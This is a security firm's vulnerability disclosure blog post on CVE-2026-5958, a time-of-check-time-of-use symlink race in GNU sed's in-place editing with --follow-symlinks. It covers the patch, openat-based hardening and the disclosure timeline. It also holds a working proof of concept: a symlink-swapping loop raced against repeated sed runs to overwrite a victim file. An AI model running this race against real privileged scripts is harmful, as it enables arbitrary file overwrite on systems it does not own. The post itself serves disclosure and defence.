Time of Check Time of Use (TOCTOU): Anatomy of a Race Condition in GNU sed

Artur - AFINE cybersecurity team member profile photo
Marcin Wyczechowski
Artur - AFINE cybersecurity team member profile photo
Michał Majchrowicz
Apr 24, 2026
9
min read
Dark terminal screen showing a sed command mid-execution

Time of check time of use (TOCTOU) is the class of bug that lives anywhere a program name-resolves a filesystem path twice - once to verify a property, once to act on it - and an attacker swaps what the name points to in between. It is not exotic. It shows up wherever two syscalls touch the same path string with a gap between them, and it shows up in tools you would assume were hardened decades ago. This post uses CVE-2026-5958, a TOCTOU race condition my colleague Marcin Wyczechowski and I reported in GNU sed, as the case study. The bug affects every version of sed from 4.1e through 4.9 - more than two decades of releases on essentially every Linux distribution - and was fixed in sed 4.10. It is classified as CWE-367: Time-of-check Time-of-use Race Condition.

This post walks through what a TOCTOU vulnerability is at the syscall level, the exact two-operation sequence that creates the race window in sed, the one-line patch the maintainer shipped, and why the structurally correct fix requires openat rather than a path-based retry. If you maintain package installers, configuration managers, or any privileged tooling that pipes user-influenced paths into sed -i --follow-symlinks, the mechanics here matter more than the CVSS number - and they generalise to every TOCTOU attack you are likely to encounter.

What is time of check time of use (TOCTOU)?

Time of check time of use is a race condition pattern where a program verifies some property of a named resource - usually a filesystem path - and then uses that resource in a separate operation. Between the check and the use, the resource can change. If the change lands inside the window, the check becomes meaningless: the program acts on something the attacker swapped in, not the thing it verified.

The canonical TOCTOU vulnerability involves a privileged process that calls access() to confirm a file is writable by the invoking user, then calls open() to write to it. If the attacker replaces the file with a symlink to /etc/shadow between those two calls, the privileged process writes to a file the user was never supposed to touch. Same pattern, different syscalls - stat then chmod, readlink then open, realpath then exec. Every pair where the kernel does not hold a lock on the name between the two operations is a candidate.

MITRE catalogues this class as CWE-367 and the symlink-flavoured attack pattern as CAPEC-27. The Wikipedia entry on symlink race covers the textbook form. The important property for a TOCTOU attack to succeed is not speed - it is that the attacker can retry. Name-based resolution in a loop gives them arbitrary attempts to land the swap inside the window.

How a TOCTOU race condition works

A TOCTOU race condition requires three ingredients:

  1. A program that refers to a filesystem resource by name (a path string) rather than by an opened file descriptor.
  2. Two separate syscalls that both resolve that name, with any non-atomic gap between them.
  3. An attacker with the ability to alter what the name points to - usually by swapping a symlink or renaming a file in a shared directory.

When those three line up, the attacker runs a tight loop that repeatedly swaps the resource while the victim program runs. Each victim invocation is a fresh attempt. The window is measured in microseconds, but the attacker does not need to hit it on the first try - they only need to keep the swap loop running. Empirically, a few dozen iterations is enough on a standard Linux system.

The defence pattern is equally well known: stop resolving the name twice. Open the resource once, hold the file descriptor, and perform all subsequent operations through that descriptor using the *at syscall family (openat, readlinkat, fstatat). A file descriptor pins an inode in the kernel. No amount of symlink swapping outside will change what that descriptor refers to. This pattern is decades old, documented in every secure coding reference, and still routinely forgotten.

Case study: CVE-2026-5958 in GNU sed

CVE-2026-5958 is a textbook TOCTOU vulnerability in open_next_file() inside GNU sed's sed/execute.c. It splits symlink resolution and file open into two non-atomic syscalls. Between the readlink() call that records the output destination and the open() call that reads the input, an attacker can swap the symlink so sed reads from one file and writes to another. The result is arbitrary file overwrite with attacker-controlled content in the context of the sed process.

The bug triggers only when sed is invoked with both -i (in-place edit) and --follow-symlinks. Neither flag alone is sufficient. The vulnerability has been present since at least sed 4.1e and was fixed in sed 4.10, released by the GNU sed maintainer after our report.

Why sed has a --follow-symlinks mode in the first place

A quick refresher before the exploit mechanics, because the flag exists for a reason and reviewers sometimes remove it without understanding what breaks.

When you run sed -i against a symlink, default sed behaviour is to replace the symlink with a regular file containing the edited content. The symlink is destroyed. For system administrators editing configuration files that happen to live behind a symlink - /etc/pam.d/ entries, boot configuration, distro-managed templates - that is exactly the wrong behaviour.

--follow-symlinks was introduced to solve this. Sed resolves the symlink, writes the edited output to the resolved target, and leaves the symlink intact. That is the correct ergonomic for privileged admin tooling. It is also the origin of the race.

The two-syscall race window

Two identical vintage CRT monitors side by side on a dark desk, a narrow gap of shadow between them faintly lit crimson - the race window made physical, matched to the img-1 cinematic aesthetic.

GNU sed's open_next_file() in sed/execute.c (line 559 in the 4.9 source tree) performs the following sequence when both flags are active. This is the textbook shape of a time of check time of use bug: one syscall records a property, a second syscall acts on the same path, no shared file descriptor connects them.

if (follow_symlinks)
    input->in_file_name = follow_symlink (name); /* Step 1: readlink() */
                                                 /* <<< RACE WINDOW >>> */
if ( ! (input->fp = ck_fopen (name, read_mode, false)) ) /* Step 2: open() */
    ...

Step 1 calls follow_symlink() in sed/utils.c, which is a thin wrapper around readlink(2). The resolved path is stashed in input->in_file_name. That is the path sed will later write to, because the temp file rename at the end of the edit cycle uses in_file_name as its destination.

Step 2 calls ck_fopen() on the original name argument, which is still the symlink path on disk. At this point sed opens whatever the symlink currently points to.

Between Step 1 and Step 2 there is a window where the kernel is not holding a file descriptor on either the symlink or its target. If an attacker atomically replaces the symlink in that window, sed will read the attacker's content from the new target and write the processed output to the path recorded in Step 1. That is the textbook TOCTOU attack primitive: read from A, write to B, where A and B are different files the attacker controls.

Proof via strace

You do not need a debugger to see the window. strace on any vulnerable sed invocation shows the two filesystem operations happening on the same path with a syscall boundary between them - the telltale signature of a TOCTOU vulnerability.

strace -e trace=readlink,openat "$SED" -i --follow-symlinks 's/x/y/' target.lnk

readlink("target.lnk", "victim.txt", N)      <- Step 1: follow_symlink()
     ... race window here ...
openat(AT_FDCWD, "target.lnk", O_RDONLY)     <- Step 2: ck_fopen(name)
openat(AT_FDCWD, "./sedXXXXXX", O_CREAT)     <- temp file in dirname(in_file_name)
rename("./sedXXXXXX", "victim.txt")           <- written to RESOLVED path

The first openat resolves the symlink fresh. If the symlink changed between readlink and this openat, the resolved file is no longer victim.txt. The rename at the end still targets victim.txt because that path was locked in by the earlier readlink result. That is how an attacker achieves read-from-A-write-to-B.

Reproducing the TOCTOU attack

The race reproduces on any standard Linux system against a stock build of sed 4.9.

wget https://ftp.gnu.org/gnu/sed/sed-4.9.tar.gz
tar xzf sed-4.9.tar.gz
cd sed-4.9
./configure
make -j$(nproc)

Set up the two files and the symlink:

mkdir /tmp/race_test && cd /tmp/race_test
echo "CONFIDENTIAL: secret=original_value" > victim.txt
echo "CONFIDENTIAL: secret=ATTACKER_CONTROLLED_PAYLOAD" > decoy.txt
ln -s victim.txt target.lnk

Run the attacker's swap loop in the background. ln -sfn atomically replaces a symlink - it uses rename(2) under the hood, which is the primitive that makes symlink-based TOCTOU races practical in the first place.

(while true; do
    ln -sfn decoy.txt  target.lnk 2>/dev/null
    ln -sfn victim.txt target.lnk 2>/dev/null
done) &
SWAPPER_PID=$!

Then run sed in a loop until the race wins:

SED=/path/to/sed-4.9/sed/sed
for i in $(seq 1 50000); do
    cp victim.txt.bak victim.txt 2>/dev/null || cp victim.txt victim.txt.bak
    ln -sfn victim.txt target.lnk 2>/dev/null
    "$SED" -i --follow-symlinks \
        's/CONFIDENTIAL:.*/CONFIDENTIAL: secret=REPLACED/' \
        target.lnk 2>/dev/null || true
    if grep -q "ATTACKER" victim.txt 2>/dev/null; then
        echo "Race won after $i attempt(s)!"
        break
    fi
done
kill $SWAPPER_PID

On a standard Linux x86-64 system we won the race in as few as 14 attempts. The loop converges quickly because the attacker only needs the swap to land inside a window of a few hundred microseconds, and userspace scheduling gives the swap loop plenty of chances per sed invocation.

Winning output:

CONFIDENTIAL: secret=REPLACED   <- attacker content written to victim.txt

The substitution ran against decoy.txt's content, then the edited result was written to victim.txt. Mission: arbitrary file overwrite with attacker-controlled content.

Where this TOCTOU vulnerability matters in the real world

The maintainer's own survey of public code - Debian codesearch, GitHub - found that the majority of --follow-symlinks usage targets files in root-owned directories like /etc/pam.d/ and /boot/. In those paths the attacker needs pre-existing write access to the parent directory, which defeats the whole premise of the attack. That narrows the real-world exposure significantly.

The scenarios that remain interesting are the ones where privileged code runs sed against a path an unprivileged user can influence:

  • Package installer scripts that edit user-owned config files while running as root during install or upgrade hooks.
  • Configuration management deployments (Ansible, Puppet, Chef) that invoke sed against paths under /home, /var/lib/[service]/ or service-owned directories where the service account can create symlinks.
  • Deployment pipelines that run remote sed edits against staged configuration in a shared working directory.
  • Container image build steps where sed runs as root over a filesystem staged by a lower-privileged build step.

If any of those describe your infrastructure, this is worth patching quickly. If you are running a fleet of servers where the only sed -i --follow-symlinks usage is in distro packaging scripts touching /etc/, your exposure is narrow but non-zero - ship the update on your normal patch cadence.

The fix

The GNU sed maintainer confirmed the bug within hours of our report and shipped a one-line fix.

--- a/sed/execute.c
+++ b/sed/execute.c
@@ -562,7 +562,7 @@ open_next_file (const char *name, struct input *input)
      if (follow_symlinks)
        input->in_file_name = follow_symlink (name);

-      if ( ! (input->fp = ck_fopen (name, read_mode, false)) )
+      if ( ! (input->fp = ck_fopen (input->in_file_name, read_mode, false)) )
        {
          const char *ptr = strerror (errno);
          fprintf (stderr, _("%s: can't read %s: %s\n"), program_name,

The change is surgical. Instead of opening name (the symlink path) in Step 2, sed now opens input->in_file_name (the resolved target path that was recorded in Step 1). Both the read and the eventual write now refer to the same concrete path. The read-from-A-write-to-B asymmetry is gone.

This is a correct fix for the immediate bug. It closes the window by making Step 2 use the path Step 1 already committed to.

Why the structurally correct fix uses openat

The one-line patch eliminates the asymmetry but does not eliminate path-based resolution entirely. A second symlink swap between Step 1 and the new Step 2 can still cause sed to read from an unexpected file - it will just write the result back to that same unexpected file, which is less dangerous but still not what the user asked for.

The developers knew this. A comment at sed/utils.c line 326 reads:

FIXME: We should get a file descriptor on the parent directory, to avoid resolving that directory name more than once (which can lead to races). Perhaps someday the Gnulib 'supersede' module can get a function openat_supersede that will do this for us.

The structurally correct fix for any TOCTOU vulnerability of this shape uses Linux's *at family of syscalls, which anchor filesystem operations to a directory file descriptor rather than to a path string. In pseudocode:

  1. Open the symlink itself with O_PATH | O_NOFOLLOW to obtain a file descriptor to the symlink's directory entry without following it.
  2. Call readlinkat(dirfd, ...) or fstatat(dirfd, ...) to inspect the target while holding that descriptor. No race is possible because the descriptor pins the inode.
  3. Call openat(dirfd, resolved_name, O_RDONLY) through the same directory descriptor, guaranteeing that the file opened is exactly the one whose path was recorded.

Gnulib's supersede module is the canonical vehicle for this pattern in GNU coreutils-adjacent code, and a future openat_supersede helper is the likely home for a proper atomic fix. For now, the one-line patch ships and the FIXME stays.

Coordinated disclosure timeline

  • Report submitted to the GNU sed maintainer with full reproduction instructions and suggested fix direction.
  • Confirmation and patch returned within hours. The maintainer authored a one-line fix against execute.c and attributed the discovery to "Michał Majchrowicz and Marcin Wyczechowski (AFINE Team)" in NEWS and ChangeLog.
  • CVE requested via MITRE's CVE form. CVE-2026-5958 was assigned.
  • Embargoed notification sent to linux-distros@vs.openwall.org under the standard 7-day embargo so distributions could prepare updated packages.
  • Public disclosure via oss-security@, coinciding with the sed 4.10 release. CERT Polska published an advisory on 20 April 2026.

Our disclosure policy is 90 days, but the maintainer's fast turnaround meant we never came close to that deadline.

Why TOCTOU vulnerabilities keep appearing

This is the takeaway that generalises beyond sed. The bug was not an exotic memory-corruption primitive or a clever crypto oversight. It was two syscalls on the same path string with a gap between them, inside a 30-year-old utility that hundreds of thousands of shell scripts depend on. The time of check time of use pattern is decades old and well documented, and it still ships in current code because path-based reasoning is ergonomic and file-descriptor-based reasoning is verbose.

Every time a program names a filesystem resource by path, checks a property, and then acts on that path, there is a potential TOCTOU race condition. The check might be stat, access, readlink, or a custom helper. The action might be open, chmod, rename, or exec. The pattern is the same: the kernel does not lock a name across two syscalls, so the attacker does not have to be fast to win. They only have to keep trying.

If your codebase contains any variant of check(path); use(path);, assume the check is defeated and either lock via a file descriptor or prove the path cannot be mutated. Name-based reasoning is not a security boundary. That is the single rule that prevents this class of bug.

Frequently asked questions

What is time of check time of use (TOCTOU)?

Time of check time of use is a class of race condition where a program verifies a property of a resource - typically a filesystem path - and then performs an operation on the same named resource in a separate, non-atomic step. Between the check and the use, an attacker swaps what the name points to. The verification becomes meaningless because the program ends up acting on the swapped resource, not the one it verified. MITRE catalogues the class as CWE-367.

What is a TOCTOU race condition?

A TOCTOU race condition is the runtime exploitation of a time of check time of use bug. The attacker runs a tight loop that repeatedly alters the resource (usually by swapping a symlink) while the victim program runs. The window between the check syscall and the use syscall is small - often microseconds - but the attacker only needs to land the swap once. Retries are free, so the race almost always wins given enough invocations.

How do you prevent TOCTOU vulnerabilities?

Stop resolving the same name twice. Open the resource once using a syscall that atomically combines check and use - for example open() with O_NOFOLLOW to reject symlinks outright, or open() with O_PATH plus the *at family (openat, readlinkat, fstatat) to anchor subsequent operations to a pinned file descriptor. A descriptor locks the inode, so no amount of external symlink swapping can change what you are operating on. Path-based reasoning is not a security boundary; file-descriptor-based reasoning is.

What is the TOCTOU attack in CVE-2026-5958?

CVE-2026-5958 is a TOCTOU attack against GNU sed's --follow-symlinks code path. Sed resolves the symlink once with readlink() to record the output path, then opens the symlink again separately to read the input. An attacker who swaps the symlink between those two syscalls causes sed to read from one file and write to another. It is a textbook example of the class.

Which versions of sed are vulnerable?

All GNU sed versions from 4.1e through 4.9 are vulnerable to this TOCTOU vulnerability. The fix shipped in sed 4.10. Distribution-backported patches should also be available on long-term support channels.

Does the TOCTOU race condition in sed require root privileges to exploit?

No. The attacker needs the ability to control a symlink in a path that a privileged sed process will later edit. The privilege comes from the sed caller, not the attacker. The classic scenario is a root-owned installer or deployment script running sed -i --follow-symlinks against a path the attacker can influence.

Credits

Discovery and coordinated disclosure: Michał Majchrowicz and Marcin Wyczechowski, AFINE Team. Fix and release: the GNU sed maintainer. CVE-2026-5958 was coordinated through CERT PL and embargoed disclosure via linux-distros@vs.openwall.org before public release.

If your code paths include privileged processes calling into GNU tooling over user-influenced paths, a targeted review of time of check time of use exposure is usually the fastest way to find the next class of bugs like this one. Schedule a scoping call with AFINE's research team to discuss how we approach source-to-syscall reviews on real infrastructure.

FAQ

Questions enterprise security teams ask before partnering with AFINE for security assessments.

No items found.

Monthly Security Report

Subscribe to our Enterprise Security Report. Every month, we share what we're discovering in enterprise software, what vulnerabilities you should watch for, and the security trends we're seeing from our offensive security work.

By clicking Subscribe you're confirming that you agree with our Privacy Policy.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Gradient glow background for call-to-action section